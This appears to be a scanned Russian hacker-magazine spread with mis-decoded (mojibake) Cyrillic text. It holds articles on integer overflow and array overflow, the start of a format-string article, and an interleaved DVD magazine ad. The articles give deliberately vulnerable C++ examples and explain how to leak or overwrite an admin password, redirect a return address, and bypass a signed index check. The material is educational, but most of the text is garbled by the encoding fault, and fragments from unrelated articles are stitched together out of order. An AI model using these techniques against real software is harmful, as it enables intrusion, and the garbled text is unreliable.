ïåðâàÿ åäèíè÷êà îòáðàñûâàåòñÿ, òàê
êàê îíà íå âõîäèò â ìëàäøèå 16 ðàç-
ðÿäîâ. Åñòåñòâåííî, ÷òî â òàêîì ñëó-
÷àå ïðîâåðêà íà ìàêñèìàëüíóþ äëèíó
ñòðîêè íå ñðàáîòàåò è âûïîëíåíèå
ôóíêöèè áóäåò ïðîäîëæåíî. Íî ñàìîå
èíòåðåñíîå! Ïðè çàïèñè èñïîëüçóåòñÿ
ïåðåìåííàÿ intUserNameSize (ñì. [2]),
è ïîýòîìó âìåñòî êîïèðîâàíèÿ îäíîãî
áàéòà ïðîèñõîäèò êîïèðîâàíèå
0õ10001 áàéò. À ýòî óæå íå ÷òî èíîå,
êàê ïåðåïîëíåíèå, êîòîðîå ìîæåò
áûòü óñïåøíî ýêñïëóàòèðîâàíî.

ÏÐÎÁËÅÌÀ ÏÐÈÎÁÐÅÒÅÍÈß
ÑÒÀÐØÈÕ ÐÀÇÐßÄÎÂ

×àñòî áûâàåò òàê, ÷òî äëÿ òîãî
÷òîáû îáåçîïàñèòü ôóíêöèþ îò ïî-
ëó÷åíèÿ îòðèöàòåëüíûõ çíà÷åíèé,
ïðîãðàììèñòû îøèáî÷íî èñïîëüçóþò
êîíâåðòèðîâàíèå çíàêîâîé ïåðåìåí-
íîé â áåççíàêîâóþ. Ýòîò ïîäõîä òðå-
áóåò äîïîëíèòåëüíîé ïðîâåðêè ïåðå-
ìåííîé ïåðåä êîíâåðòèðîâàíèåì, ïî-
òîìó ÷òî ýòà îïåðàöèÿ ìîæåò ïðèâåñ-
òè ê âðàùåíèþ âîêðóã íóëÿ. Òàêèå
ïðîâåðêè äåëàþòñÿ î÷åíü ðåäêî è
ïîýòîìó ìîãóò ñòàòü ïðè÷èíîé âîç-
íèêíîâåíèÿ îøèáîê. Åùå áîëåå èí-
òåðåñíàÿ îñîáåííîñòü ïðîÿâëÿåòñÿ
ïðè ïðåîáðàçîâàíèè ÷èñëà èç òèïà ñ
ìåíüøèì êîëè÷åñòâîì ðàçðÿäîâ â
òèï ñ áîëüøèì (íàïðèìåð, èç char â
short). Äåëî â òîì, ÷òî åñëè èñòî÷íèê
áûë òèïà char, òî ïðè ïåðåâîäå åãî â
short çíà÷åíèå ïðèîáðåòåò äîïîëíè-
òåëüíûõ 8 ðàçðÿäîâ. È åñëè çíà÷å-
íèå char áûëî îòðèöàòåëüíûì
(>0x7F), òî ýòè ðàçðÿäû ñòàíóò ðàâíû-
ìè åäèíèöå (0xFF).  (ñì. ñêðèí).

Äàâàé ðàññìîòðèì ïðîáëåìó êîíâåðòè-
ðîâàíèÿ òèïîâ íà ñëåäóþùåì ïðèìåðå:

char chValue = 0x80; // chValue = -128
short shValue = chValue; // shValue = 0xff80
( -128 )
unsigned short ushValue = shValue;//
ushValue = 0xff80 ( 65408 ) [1]

Òàêèì îáðàçîì, ïåðåìåííàÿ shValue
ïîëó÷èò ïðàâèëüíîå çíà÷åíèå (çà
ñ÷åò çàïîëíåíèÿ âåðõíèõ ðàçðÿäîâ â
0xFF), íî ïðîáëåìà âîçíèêàåò ïðè ïå-
ðåâîäå ñî çíàêîâîãî ñëîâà â áåççíà-
êîâîå (ñì. [1]). Ïåðåìåííàÿ ushValue
ïðèîáðåòàåò çíà÷åíèå 65408, à ýòî
óæå äàëåêî íå -128.

ÏÐÎÁËÅÌÀ
ÎÏÐÅÄÅËÅÍÈß ÒÈÏÀ

Åñëè áîëåå äåòàëüíî èçó÷èòü ïðè-
ìåð 2, òî ìîæíî âûäåëèòü åùå îäíó
ïðîáëåìó îòíîñèòåëüíî ïàðàìåòðà
intUserNameSize (äëèíû ñòðîêè). Áîëåå
òîãî, â ïðèìåðå 4 îíà ïðèñóòñòâóåò òî-
æå, õîòÿ â íåì íåò ïðåîáðàçîâàíèé òè-
ïîâ, òàê æå, êàê è íåò ìàòåìàòè÷åñêèõ
îïåðàöèé, êîòîðûå ìîãëè áû ïðèâåñòè
ê ïåðåïîëíåíèþ intUserNameSize. Óñ-
ëîâèå [1] ñîçäàíî, ÷òîáû çàïðåòèòü çà-
ïèñü â áóôåð ñòðîê, êîòîðûå ïðåâîñõî-
äÿò åãî ïî äëèíå. 

Ïðèíöèï ïðîâåðêè ïðîñò - äëèíà èñ-
òî÷íèêà ìåíüøå ðàçìåðà ïðèåìíèêà.
Åñëè îíà ïðåâûøàåò äîïóñòèìûé ðàç-
ìåð, òî ôóíêöèÿ ïðåêðàùàåò ñâîþ ðà-
áîòó. Íî ïðîáëåìà çàêëþ÷àåòñÿ â òîì,
÷òî ïðè ñðàâíåíèè ÷èñåë ó÷èòûâàåòñÿ
èõ çíàê. À ýòî çíà÷èò, ÷òî åñëè ïåðåäàòü
intUserNameSize ñ îòðèöàòåëüíûì çíà-
÷åíèåì, òî ïðîâåðêà áóäåò ïðîèãíîðè-
ðîâàíà, òàê êàê îòðèöàòåëüíîå ÷èñëî
áóäåò âñåãäà áîëüøå ïîëîæèòåëüíîãî
ðåçóëüòàòà, âîçâðàùàåìîãî ôóíêöèåé
GetMaxStrSize. Ñàìîå èíòåðåñíîå, ÷òî
ïî èäåå ôóíêöèÿ memcpy äîëæíà ïðî-
èãíîðèðîâàòü îòðèöàòåëüíûé îáúåì
äëÿ êîïèðîâàíèÿ (ñì. [2]). À íà ñàìîì
äåëå âñå ïðîèñõîäèò èíà÷å - îíà îáðà-
áàòûâàåò àðãóìåíò äëèíû êàê áåççíàêî-
âóþ ïåðåìåííóþ. Òàêèì îáðàçîì, åé ïå-
ðåäàåòñÿ î÷åíü áîëüøîå ÷èñëî (áîëü-
øå, ÷åì 0x7FFFFFFF), è îíà äîëæíà ïî-
ïûòàòüñÿ ñêîïèðîâàòü ñòðîêó ýòîé äëè-
íû â áóôåð ðåçóëüòàòà. Íî ýòî ïðèâå-
äåò ê òîìó, ÷òî ïðèëîæåíèå àâàðèéíî
çàêîí÷èò ñâîþ ðàáîòó. Ýòà òåõíèêà õî-
ðîøà äëÿ îáõîäà ðàçíîãî ðîäà óñëîâèé,
íî äëÿ ýêñïëóàòàöèè â ÷èñòîì âèäå îíà
íå ìîæåò áûòü èñïîëüçîâàíà. Áîëåå èí-
òåðåñíî, åñëè memcpy ïåðåäàþòñÿ ïå-
ðåìåííûå òèïà byte(char) èëè äàæå
word(short), ïîòîìó êàê èõ ìàêñèìàëü-
íîå çíà÷åíèå íå ñòîëü âåëèêî, à ýòî äà-
åò âîçìîæíîñòü ýêñïëóàòèðîâàòü ôóíê-
öèè, êîòîðûå ïðèíèìàþò ñòðîêè, áåç ÿâ-
íîãî óêàçàíèÿ èõ äëèíû â àðãóìåíòàõ. 

Òàêæå íå ñòîèò çàáûâàòü î òîì, ÷òî
ïðîâåðêà, ðåàëèçîâàííàÿ â ïðèìåðå 4,
òîæå ÿâëÿåòñÿ íåêîððåêòíîé, ïîñêîëü-
êó ïðè ñëîæåíèè äâóõ ïîëîæèòåëüíûõ
÷èñåë ðåçóëüòàò ìîæåò îêàçàòüñÿ îòðè-
öàòåëüíûì. Ïîñìîòðè íà òàáëèöó, ÷òî-
áû óáåäèòüñÿ, ÷òî ðåçóëüòàò àðèôìåòè-
÷åñêîé îïåðàöèè íå âñåãäà òàêîé, êàêèì
îí äîëæåí ïîëó÷èòüñÿ íà ñàìîì äåëå.

×èñëà - ýòî çàãàäêà, òåì áîëåå êîãäà
ðå÷ü èäåò î êîìïüþòåðíûõ òåõíîëîãè-
ÿõ. Òû ìîæåøü íàïèñàòü ãðàìîòíîå
ïðèëîæåíèå, íî åñëè íåïðàâèëüíî
âûáðàíû ÷èñëîâûå òèïû, òî ýòî ìîæåò
ïðèâåñòè ê íåïðåäñêàçóåìûì ðåçóëü-
òàòàì! Ïðåäñòàâü ñåáå, óñëîâèÿ íå ðà-
áîòàþò êîððåêòíî, îãðàíè÷åíèÿ íà
ðàçìåð áóôåðà ñíÿòû! Ýòî äîñòàòî÷-
íîå óñëîâèå äëÿ õàêåðà, è, ïîâåðü, åñ-
ëè îí çíàåò î ÷èñëàõ ñòîëüêî æå,
ñêîëüêî è òû ñåé÷àñ, òî îí ñ ëåã-
êîñòüþ âçëîìàåò òâîþ ïðîãðàììó! Íå-
îáõîäèìî çàïîìíèòü ýòè òîíêîñòè, è
òîãäà òû ñìîæåøü áåç îñîáîãî òðóäà
íàõîäèòü îøèáêè òàêîãî êëàññà. E
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INTEGER OVERFLOW28 ÎÑÍÎÂÛ

ÎÎïïååððààööèèÿÿ ÇÇííààêêîîââîîåå ÁÁååççççííààêêîîââîîåå

-128   +    0 -128 128

127   +  -128 -1 255

127   +    127 -2 254

-129   +    1 - 128 128

-128   -    -128 0 0

-128   /   -1 -128 128

-128   *   -1 -128 128

.....

char* Protocol::GenerateFullName( char* szUserName ,

int intUserNameSize ) {

char* szDomainName = GetDomainName();

if( intUserNameSize >                            [1]

GetMaxStrSize( MAX_SIZE, strlen(szDomainName ) )

) {

WriteToLog( "UserName is too long" ); }

else { char* szResult = new char[MAX_SIZE];

memcpy( szResult, szUserName, intUserNameSize );

[2]

memcpy( szResult + intUserNameSize, 

szDomainName, strlen( szDomainName ) );

szResult[ intUserNameSize + 

strlen( szDomainName ) ] = '\x00'; } }

ÏÐÈÌÅÐ 3

.....
If ( ( intUserNameSize + intDomainNameSize ) > 
GetMaxStrSize( MAX_SIZE, 0 ) ) {
WriteToLog( "UserName is too long" ); }
else {
..... }

ÏÐÈÌÅÐ 4

Ïðèìåðû îáðåçàíèÿ çíà÷èìîé ÷àñòè ÷è-
ñåë ïðè èõ êîíâåðòèðîâàíèè

Âñå, ÷òî òû
ïðî÷åë â
ýòîé ñòàòüå,
íîñèò òîëü-
êî èíôîð-
ìàòèâíûé
õàðàêòåð è
íå äîëæíî
èñïîëüçî-
âàòüñÿ â íå-
çàêîííûõ
öåëÿõ.
Ñòàòüÿ ðàñ-
ñ÷èòàíà íà
ïðîãðàììèñ-
òîâ, êîòî-
ðûå ðåøèëè
ïîâûñèòü
óðîâåíü áå-
çîïàñíîñòè
â ñâîèõ ïðè-
ëîæåíèÿõ.



æóðíàë 

«DVD ÝÊÑÏÅÐÒ» 
ïðîñòî è äîñòóïíî 

î äîìàøíåì êèíîòåàòðå!

Ñ ñåíòÿáðÿ èùèòå â ïðîäàæå

ïåðâûé íîìåð
åæåìåñÿ÷íîãî æóðíàëà

Ñ ñåíòÿáðÿ èùèòå â ïðîäàæå

ïåðâûé íîìåð
åæåìåñÿ÷íîãî æóðíàëà

100 ñòðàíèö ïîëåçíîé èíôîðìàöèè100 ñòðàíèö ïîëåçíîé èíôîðìàöèè



Ìûñëà Âëàäèñëàâ aka DigitalScream (digitalscream@real.xakep.ru)

Î ñòàâàëèñü ñ÷èòàííûå ñåêóíäû� "Íå ìîæåò áûòü, ÷òî íåëüçÿ óãàäàòü 10-çíà÷íûé êîä äëÿ âõîäà, åñëè ñèñòåìîé
ïîëüçóåòñÿ ìèëëèîí êëèåíòîâ", - äóìàë îí� Êîä çà êîäîì - çàêðûòî! Íî âäðóã áëîê ââîäà çàìîðãàë�

ÌÀÑÑÈÂÍÎÅ
ÏÅÐÅÏÎËÍÅÍÈÅ
À ÒÛ ÇÍÀÅØÜ, ×ÒÎ ÒÀÊÎÅ ARRAY OVERFLOW? 

æå ìíîãî ëåò õàêåðû
ïîëüçóþòñÿ ïåðåïîë-
íåíèåì áóôåðà â áîðü-
áå çà íóæíóþ èíôîð-
ìàöèþ. Ïîñòîÿííî íà-

õîäÿòñÿ íîâûå îøèáêè, èõ ñâÿçûâàþò
îäíó ñ äðóãîé, êëàññèôèöèðóþò. Â íà-
øå âðåìÿ íàéòè îøèáêó ïåðåïîëíå-
íèÿ â ðàñïðîñòðàíåííîì ïðîäóêòå äî-
âîëüíî ñëîæíî. Ïîðîé êàæåòñÿ, ÷òî
îøèáêè íåò èëè åþ íåëüçÿ âîñïîëü-
çîâàòüñÿ. À ÷àùå âñåãî èìåííî áåçî-
áèäíûå, íà ïåðâûé âçãëÿä, îøèáêè
ïðèâîäÿò ê âîçìîæíîñòè íåñàíêöèî-
íèðîâàííîãî óïðàâëåíèÿ ðàáîòîé
ïðèëîæåíèÿ. ×òîáû âîñïîëüçîâàòüñÿ
òàêèìè óÿçâèìîñòÿìè, íàäî ïðîâå-
ðèòü, ïðè îáðàáîòêå êàêèõ äàííûõ
ïðîèñõîäèò îøèáêà. Â ýòîé ñòàòüå
ðå÷ü ïîéäåò îá îøèáêàõ ðàáîòû ñ
ìàññèâàìè. 

Â ïðèìåðå 1 îïèñàí ïñåâäîêëàññ
Door, êîòîðûé çàíèìàåòñÿ óïðàâëåíè-
åì âõîäíîé äâåðüþ, ïðè÷åì, ïåðåä
òåì êàê çàêîí÷èòü ñâîþ ðàáîòó, îí
ñîõðàíÿåò âñå íåïðàâèëüíî ââåäåí-
íûå ïàðîëè â âèäå ëîãîâ.

Êàêóþ îøèáêó õðàíèò â ñåáå ýòîò êîä?

×ÒÅÍÈÅ ÄÀÍÍÛÕ ÈÇ ÏÀÌßÒÈ
Ïðè ðàáîòå ñ ìàññèâàìè äàííûõ

ïðîãðàììèñò èñïîëüçóåò ìàññèâû. Åñëè
íåîáõîäèìî õðàíèòü â ìàññèâå îáúåêòû

èëè ñòðóêòóðû, òî îí ìîæåò ñ ëåãêîñòüþ
ñîçäàâàòü ìàññèâû, â êà÷åñòâå ýëåìåí-
òîâ êîòîðûõ áóäóò íóæíûå åìó äàííûå.
Íî, åñëè íóæíî ñîçäàòü ìàññèâ ñòðîê, òî
â êà÷åñòâå ýëåìåíòîâ íåîáõîäèìî áðàòü
óêàçàòåëè íà ñòðîêè, à íå èõ ñàìèõ. Ýòî
îïðåäåëåíî òåì, ÷òî ýëåìåíòîì ìàññèâà
ìîæåò áûòü ëþáîé òèï äàííûõ, ñ ïðå-
äîïðåäåëåííûì îáúåìîì. À ñòðîêà ìî-
æåò ñîñòîÿòü èç 1, 2, 6, 165 áàéòîâ, ïîýòî-
ìó â ìàññèâ çàïèñûâàåòñÿ èìåííî óêà-
çàòåëü íà ñòðîêó (îí çàíèìàåò 4 áàéòà),
êîòîðûé íèêàê íå çàâèñèò îò åå äëèíû.
Äàâàé ïîñìîòðèì íà ïðèìåð 2. ×òî
çäåñü íåâåðíî? Íà ïåðâûé âçãëÿä, âñå â
ïîðÿäêå: ôóíêöèè GetUserIDByIndex ïå-
ðåäàþò èíäåêñ ïîëüçîâàòåëÿ, à îíà
âîçâðàùàåò åãî èäåíòèôèêàòîð. Äëÿ
õðàíåíèÿ èäåíòèôèêàòîðîâ èñïîëüçóåò-
ñÿ ìàññèâ UserIDList èç 0x07 ýëåìåíòîâ
(íóìåðàöèÿ íà÷èíàåòñÿ ñ íóëÿ). Íî ÷òî
áóäåò, åñëè ìû ïåðåäàäèì
GetUserIDByIndex ÷èñëî, áîëüøåå 0x07,
òî åñòü ÷òî ïðîèçîéäåò ïðè ïîïûòêå äîñ-
òóïà ê ýëåìåíòó ñ èíäåêñîì áîëüøå ðàç-
ìåðíîñòè ìàññèâà?

Âçãëÿíè íà ðèñóíîê. Ýòî ó÷àñòîê ïà-
ìÿòè, â êîòîðîé õðàíèòñÿ ñïèñîê èäåí-
òèôèêàòîðîâ ïîëüçîâàòåëåé, è îáúÿâ-
ëåííàÿ ñðàçó æå çà íèì ïåðåìåííàÿ,
â êîòîðîé õðàíèòñÿ ïàðîëü àäìèíà.
Åñëè òû ïîïûòàåøüñÿ ïåðåäàòü ôóíê-
öèè GetUserIDByIndex â êà÷åñòâå àðãó-

ìåíòà åäèíèöó, òî îíà âåðíåò èäåíòè-
ôèêàòîð ïåðâîãî ïîëüçîâàòåëÿ, äâîé-
êó - âòîðîãî è ò.ä. Íî, åñëè ïåðåäàòü
åé ÷èñëî 8, ôóíêöèÿ âñå ðàâíî âåð-
íåò ðåçóëüòàò. Îòêóäà âçÿëñÿ 8-é ýëå-
ìåíò, åñëè ðàçìåð ñïèñêà - 7? Âñå
î÷åíü ïðîñòî: èíäåêñ ýëåìåíòà - ýòî
íåÿâíûé óêàçàòåëü íà ìåñòîïîëîæå-
íèå ýëåìåíòà â ïàìÿòè. Íåÿâíûé ïîòî-
ìó, ÷òî àäðåñ âû÷èñëÿåòñÿ êàê àä-
ðåñ_ìàññèâà+èíäåêñ_ýëåìåíòà*ðàç-
ìåð_ýëåìåíòà. Â íàøåì ïðèìåðå ðàç-
ìåð ýëåìåíòîâ - 1 áàéò, çíà÷èò èíäåêñ
è áóäåò ñìåùåíèåì îòíîñèòåëüíî íà-
÷àëà ìàññèâà. Íî! Â ïàìÿòè ñðàçó çà
ìàññèâîì íàõîäèòñÿ ïàðîëü àäìèíà, à
òàê êàê èäåíòèôèêàòîðîâ âñåãî 7,
òî 8-é èíäåêñ - ýòî ïåðâûé ñèìâîë
ïàðîëÿ. Òàêèì îáðàçîì, åñëè ñóùå-
ñòâóåò ôóíêöèÿ, ïðåäíàçíà÷åííàÿ
äëÿ àóòåíòèôèêàöèè ïîëüçîâàòåëÿ,
êîòîðîé ïåðåäàþò èíäåêñ ïîëüçîâà-
òåëÿ è ïàðîëü, ïðè÷åì îíà èìååò âèä,
ïîêàçàííûé â ïðèìåðå 3 (â ñëó÷àå
íåïðàâèëüíîãî ïàðîëÿ âûâîäèò ñîîá-
ùåíèå îá îøèáêå, ñîäåðæàùåå èäåí-
òèôèêàòîð ïîëüçîâàòåëÿ), òî, ïåðåäàâ
åé èíäåêñ 8, òû ïîëó÷èøü ñîîáùåíèå
âèäà "Bad password for user 97".

Åñëè èíòåðïðåòèðîâàòü ÷èñëî 97 êàê
êîä ñèìâîëà, òî ðåçóëüòàòîì áóäåò "à" -
ïåðâûé ñèìâîë ïàðîëÿ. È åñëè òåïåðü
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Ïî ñóòè, ïå-
ðåïîëíåíèå
ìàññèâîâ -
ýòî îáû÷íîå
ïåðåïîëíå-
íèå áóôåðà,
ïðîèñõîäÿ-
ùåå ïðè îá-
ðàáîòêå
ìàññèâîâ.

Ìàññèâ -
ýòî ïîñëå-
äîâàòåëü-
íîñòü ýëå-
ìåíòîâ îäè-
íàêîâîé
ñòðóêòóðû.
Íàïðèìåð,
ìàññèâ ÷è-
ñåë - ýòî
ïîñëåäîâà-
òåëüíîñòü
÷èñåë è íè-
÷åãî äðóãî-
ãî.

Ôðàãìåíò ïàìÿòè äëÿ ïðèìåðà 2

ÌÀÑÑÈÂÍÎÅ ÏÅÐÅÏÎËÍÅÍÈÅ30 ÎÑÍÎÂÛ

...
Door::Door() {

lIndex = 0;
TypedUID = new UserID[0xFF]; }

...
void Door::LogBadInput( UserID
uidInput ) {

TypedUID[ lIndex ] = uidInput;
lIndex ++; }

...
Door::~Door() {
for( long lOffset = 0;lOffset <
lIndex; ++lOffset )
WriteToLog(FormatLogMessage(
"UserID", TypedUID[lOffset],
sizeof(UserID) );

delete [] TypedUID; }
...

ÏÐÈÌÅÐ 1. ÏÐÎÒÎÊÎËÈÐÎ-
ÂÀÍÈÅ ÎØÈÁÎÊ

...
UserIDList = new byte[0x07];
Password = new char[0x07];
...
byte
Door::GetUserIDByIndex(long
lIndex)
{
return UserIDList[lIndex - 1 ]; }

...

ÏÐÈÌÅÐ 2. ÏÅÐÅÏÎËÍÅÍÈÅ
ÌÀÑÑÈÂÎÂ

...
void Door::LoginIDByIndex(long
lIndex, char[0x07] szPassword ) {

if ( !CheckPassword(
GetUserIDByIndex(lIndex),
szPassword ) )

ShowMessage("Bad password
for user %i",
GetUserIDByIndex(lIndex) );}
...

ÏÐÈÌÅÐ 3. ÈÑÏÎËÜÇÎÂÀ-
ÍÈÅ ÏÅÐÅÏÎËÍÅÍÈß
ÌÀÑÑÈÂÎÂ #1



ïîñëåäîâàòåëüíî ïåðåäàâàòü ôóíêöèè
LoginIDByIndex ÷èñëà 9, 10 è ò.ä., òû
ñìîæåøü óçíàòü ïàðîëü àäìèíà.

ÏÅÐÅÇÀÏÈÑÜ
ÄÀÍÍÛÕ Â ÏÀÌßÒÈ

Ìàññèâû ìîãóò õðàíèòü â ñåáå
îïàñíîñòü áîëåå âûñîêóþ, ÷åì ÷òåíèå
ïàìÿòè. Êóäà èíòåðåñíåå ñëó÷àè, êîã-
äà åñòü âîçìîæíîñòü çàïèñè â ìàññè-
âû (ïðèìåð 4).

Äàâàé ïîñìîòðèì, ÷òî ïðîèñõîäèò.
SetData - ýòî ôóíêöèÿ, êîòîðàÿ êîïè-
ðóåò äàííûå þçåðà â ñâîþ îáëàñòü
ïàìÿòè. Ïðè÷åì îíà íå ïðîâåðÿåò ðàç-
ìåð êîïèðóåìûõ äàííûõ, à ïðèåìíèê
lpTable îãðàíè÷åí ðàçìåðîì
0xFF(255). È, êàê òû óæå äîãàäàëñÿ,
åñëè ïåðåäàòü ôóíêöèè äàííûå, ðàç-
ìåð êîòîðûõ áîëüøå 255, òî ýëåìåíòû
èç lpData ñ èíäåêñîì, áîëüøèì 254
(íóìåðàöèÿ ñ íóëÿ), áóäóò ñêîïèðîâà-
íû íå â lpTable, à â szPassword, êîòî-
ðûé íàõîäèòñÿ â êó÷å ïðÿìî ïîñëå
lpData. Ïîýòîìó âñå ÷èñëà, ÷òî íå ïî-
ìåñòèëèñü â lpData, ïåðåçàïèøóò ïà-
ðîëü. Îñòàëîñü òîëüêî ïåðåäàòü ñâîé
ïàðîëü :-). Äëÿ ýòîãî ìîæíî ïåðåäàòü
ôóíêöèè áóôåð, ñîñòîÿùèé èç:

- 255*4 áàéò äàííûõ (ïåðåçàïèñàòü
lpTable),

- ÷èñëà 0x61616161 (ïåðåçàïèñàòü ïà-
ðîëü),

- ÷èñëà 0x00000000 (çàêîí÷èòü
ñòðîêó ïàðîëÿ íóëåâûì áàéòîì).

Â ðåçóëüòàòå ïàðîëü èçìåíèòñÿ íà
"àààà" è ìîæåò áûòü èñïîëüçîâàí äëÿ
àâòîðèçàöèè â ñèñòåìå.

ÏÅÐÅÇÀÏÈÑÜ ÄÀÍÍÛÕ
Â ÑÒÅÊÅ ÈËÈ ÊÓ×Å

Êàê âèäèøü, ìîæíî ìàíèïóëèðî-
âàòü õîäîì èñïîëíåíèÿ ïðîãðàììû,
èñïîëüçóÿ îøèáêè â ðàáîòå ñ ìàññè-
âàìè. Âçãëÿíè íà ïðèìåð 5. Ó íàñ èìå-
åòñÿ ôóíêöèÿ, êîòîðàÿ ñîçäàåò ìàñ-
ñèâ è çàïèñûâàåò â óêàçàííûé ýëå-
ìåíò êàêîå-ëèáî ÷èñëî, è ôóíêöèÿ, êî-
òîðàÿ ïîêàçûâàåò ïàðîëü àäìèíà.

Ìàññèâ lpNewData ÿâëÿåòñÿ âðåìåí-
íûì, è ïîýòîìó ïàìÿòü äëÿ íåãî âûäå-
ëÿåòñÿ â ñòåêå. Ó÷èòûâàÿ àðõèòåêòóðó
ñòåêà è ìåñòîïîëîæåíèå áóôåðà, ìîæ-
íî ãîâîðèòü î òîì, ÷òî, åñëè â êà÷åñòâå
èíäåêñà óêàçàòü ÷èñëî, ïðåâîñõîäÿ-
ùåå ðàçìåðû ìàññèâà, îíî ïåðåçàïè-
øåò ñîáîé äàííûå, íàõîäÿùèåñÿ â
âåðõíèõ àäðåñàõ. À ñðåäè íèõ åñòü è àä-
ðåñ âîçâðàòà äëÿ âûõîäà èç ôóíêöèè,
ïîýòîìó åñëè ïåðåäàòü ôóíêöèè ïàðà-
ìåòðû 0õ101 è ëþáîå äðóãîå ÷èñëî "A",
òî ïðè âûõîäå èç ôóíêöèè óïðàâëåíèå
ïåðåäàñòñÿ íà àäðåñ, óêàçàííûé â ïå-
ðåìåííîé "A". Òàê, íàïðèìåð, åñëè
çíàòü àäðåñ ôóíêöèè ShowPassword è
óêàçàòü åãî â êà÷åñòâå âòîðîãî ïàðà-
ìåòðà, òî ïðîãðàììà ïîêàæåò ïàðîëü

àäìèíà. Íî ýòî óæå - ïåðåïîëíåíèå ñòå-
êà, ðàññìîòðåíèå êîòîðîãî â ðàìêè äàí-
íîé ñòàòüè íå âõîäèò. Åñëè ïàìÿòü ïîä
ìàññèâ âûäåëÿåòñÿ â êó÷å, òî ïîëó÷èòü
óïðàâëåíèå ìîæíî, ïåðåçàïèñàâ ãëî-
áàëüíóþ òàáëèöó ñìåùåíèé ôóíêöèé.
Ñïîñîáîâ ìíîãî è âñå îïðåäåëÿåòñÿ
àðõèòåêòóðîé óÿçâèìîãî ïðèëîæåíèÿ.

ÎÁÕÎÄ ÎÃÐÀÍÈ×ÅÍÈÉ ÍÀ
ÐÀÇÌÅÐÍÎÑÒÜ ÌÀÑÑÈÂÀ

Îäíàêî íå âñå òàê ïðîñòî. Âî èçáå-
æàíèå ïåðåïîëíåíèé â îáðàáîòêå ìàñ-
ñèâîâ ïðîãðàììåðû èñïîëüçóþò ïðî-
âåðêè íà óêàçàííûé èíäåêñ ýëåìåíòà.
Åñëè îí áîëüøå ðàçìåðà ìàññèâà, òî
îïåðàöèÿ îòìåíÿåòñÿ (ïðèìåð 6).

Íî è çäåñü åñòü âûõîä! Ïåðåìåííàÿ
intDefaultIndex ÿâëÿåòñÿ ÷èñëîì, íî
÷èñëîì ñî çíàêîì. Ïîýòîìó, õîòÿ ïðî-
âåðêà íà ðàçìåð ïðîèçâîäèòñÿ, çíà÷å-
íèå íå ïðîâåðÿåòñÿ íà îòðèöàòåëü-
íîñòü. Ýòî çíà÷èò, ÷òî, åñëè â ïðîø-
ëîì ïðèìåðå òû óêàçàë íîìåð ýëåìåí-
òà 0x101, òî òåïåðü íåîáõîäèìî ïðîñòî
âû÷èñëèòü åãî: èíäåêñ = ñòàðûé_èí-
äåêñ + 0x80000000. Òàêèì îáðàçîì,
ïîÿâëÿåòñÿ âîçìîæíîñòü îáõîäà ïðî-
âåðêè íà óêàçàííûé èíäåêñ ýëåìåíòà.

Òåïåðü òû çíàêîì ñ óÿçâèìîñòÿìè
êëàññà Array Overflow. Íóæíî èìåòü â
âèäó âîçìîæíîñòü òàêîãî âçëîìà è
äóìàòü î ñâîåé çàùèòå. E
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Àòàêà íà
ïåðåïîëíå-
íèå ìàññèâà
ìîæåò áûòü
èñïîëüçîâà-
íà êàê ñïî-
ñîá ïîëó÷å-
íèÿ êîíòðî-
ëÿ íàä èñ-
ïîëíåíèåì
ïðîãðàììû.

Áîëåå äå-
òàëüíóþ
èíôîðìà-
öèþ î öåëî-
÷èñëåííûõ
ïåðåïîëíå-
íèÿõ òû ìî-
æåøü íàéòè
â ñòàòüå
"Integer
Overflow".

long lpTable [0xFF];
char szPassword [0xFF];
...
void SetData (long* lpData, long
lSize ) {

for (long lOffset = 0;
lOffset<lSize; ++lOffset ) 
lpTable[lOffset] = lpData[lOffset];
}
...

ÏÐÈÌÅÐ 4. ÈÑÏÎËÜÇÎÂÀ-
ÍÈÅ ÏÅÐÅÏÎËÍÅÍÈß ÌÀÑ-
ÑÈÂÎÂ #2

char szPassword [0xFF];
...
void CreateData( long
lDefaultIndex, long lValue ) {

long lpNewData[0xFF];
ZeroMemory( lpNewData, 0xFF );

lpNewData[lDefaultIndex] =
lValue;
...................................

}
void ShowPassword() {

ShowMessage( "Password: %s",
szPassword ); }
...

ÏÐÈÌÅÐ 5. ÈÑÏÎËÜÇÎÂÀ-
ÍÈÅ ÏÅÐÅÏÎËÍÅÍÈß ÌÀÑ-
ÑÈÂÎÂ #3

char szPassword [0xFF];
...
void CreateData(int
intDefaultIndex, int intValue ) {

long lpNewData[0xFF];
if( intDefaultIndex > 0xFF )

return;
ZeroMemory( lpNewData, 0xFF );

lpNewData[intDefaultIndex] =
intValue;
...................................

}

ÏÐÈÌÅÐ 6.
ÈÑÏÎËÜÇÎÂÀÍÈÅ
ÏÅÐÅÏÎËÍÅÍÈß ÌÀÑÑÈÂÎÂ
Ñ ÏÐÎÂÅÐÊÎÉ ÈÍÄÅÊÑÀ



Êðèñ Êàñïåðñêè aka ìûùúõ 

ß çûê Ñè âûãîäíî îòëè÷àåòñÿ îò Ïàñêàëÿ ïîääåðæêîé ñïåöèôèêàòîðîâ, ïðåäñòàâëÿþùèõ ñîáîé ìîùíûé
èíñòðóìåíò ôîðìàòíîãî ââîäà/âûâîäà. Íàñòîëüêî ìîùíûé, ÷òî ôàêòè÷åñêè îáðàçóåò ÿçûê âíóòðè ÿçûêà,

ïîëèãîí äëÿ âçëîìùèêà.

ÄÅÐÍÈ PRINTF 
ÇÀ ÕÂÎÑÒ
ÔÎÐÌÀÒÈÐÎÂÀÍÍÛÉ ÂÛÂÎÄ ÏÎÄ ÏÐÈÖÅËÎÌ

øèáêè ôîðìàòíîãî âû-
âîäà íå ìíîãî÷èñëåí-
íû è âñòðå÷àþòñÿ,
ãëàâíûì îáðàçîì, â
UNIX-ïðèëîæåíèÿõ, ãäå

òðàäèöèè òåðìèíàëüíîãî ðåæèìà âñå
åùå ñèëüíû. Ïî íåêîòîðûì îöåíêàì, â
2002 ãîäó áûëî îáíàðóæåíî ïîðÿäêà
100 óÿçâèìûõ ïðèëîæåíèé, à â 2003 -
ñâûøå 150! Àòàêå ïîäâåðãëèñü ñåðâå-
ðà áàç äàííûõ, âðàùàþùèõñÿ ïîä
Oracle, è ñåðâèñû UNIX, òàêèå, êàê sys-
log èëè ftp. Íè îäíîé àòàêè íà ïðèëî-
æåíèÿ Windows NT äî ñèõ ïîð íå çà-
ôèêñèðîâàíî. Ýòî íå çíà÷èò, ÷òî
Windows NT ëó÷øå, ïðîñòî ãðàôè÷åñ-
êèé èíòåðôåéñ íå ðàñïîëàãàåò ê èí-
òåíñèâíîìó èñïîëüçîâàíèþ ôîðìàò-
íîãî âûâîäà, äà è êîëè÷åñòâî êîí-
ñîëüíûõ óòèëèò ïîä NT î÷åíü íåâåëè-
